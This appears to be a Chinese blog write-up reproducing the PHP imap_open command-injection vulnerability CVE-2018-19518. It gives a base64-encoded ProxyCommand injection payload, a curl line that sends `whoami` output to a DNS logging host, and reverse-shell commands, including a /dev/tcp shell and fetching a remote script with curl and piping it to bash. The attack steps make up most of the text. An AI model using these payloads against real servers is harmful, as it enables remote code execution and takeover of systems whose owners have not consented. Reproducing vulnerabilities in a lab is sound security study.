漏洞复现[PHP]CVE-2018-19518

这个漏洞复现比较简单:

image-20211222152611397

然后能达到什么效果呢,网上全是/tmp下面新建一个success。

然后我试了试curl,发现不行。

hostname=x+-oProxyCommand%3decho%09Y3VybCUyMGJlM2YwY2MzLmRucy4xNDMzLmV1Lm9yZw==|base64%09-d|sh}&username=222&password=333

base64的

curl be3f0cc3.dns.1433.eu.org
=Y3VybCUyMGJlM2YwY2MzLmRucy4xNDMzLmV1Lm9yZw==
猜测是加密网站的问题,使用php原生的base64加密:
<?php
 $b=base64_encode("curl be3f0cc3.dns.1433.eu.org");
 echo $b;
 ?>

加密结果:

Y3VybCBiZTNmMGNjMy5kbnMuMTQzMy5ldS5vcmc=
网站上的:Y3VybCUyMGJlM2YwY2MzLmRucy4xNDMzLmV1Lm9yZw==
呃。。

然后终于收到了curl:

image-20211222152923792

这样是不够的,带外命令出来

curl `whoami`be3f0cc3.dns.1433.eu.org

image-20211222152959707

OK到这里了该反弹shell了

我再次研究了下payload:

hostname=x+-oProxyCommand%3decho%09分割线Y3VybCUyMGJlM2YwY2MzLmRucy4xNDMzLmV1Lm9yZw==分割线|base64%09-d|sh}&username=222&password=333

其实就是把分割线内的内容进行base64编码即可反弹shell,but:

bash -i >& /dev/tcp/vpsip/7777 0>&1

这个base64编码不行。。猜测是空格的问题。

于是使用了%20、+、$IFS等替代空格的方式,发现依然弹不出来shell。

使用加密网站双重加密:

image-20211222153220063

这个还是不行。

嗨。。最后有一个终极招数可以免疫所有特殊符号和空格,把他们全部看成一个整体。

也就是curl反弹shell:

curl 192.168.2.103/bash.html|bash

对就这样,然后自己vps上把反弹shell的语句写进去,然后还是得用这样:

image-20211222153352944

然后再放入分割线中的部分。

大功告成图:

image-20211222152508859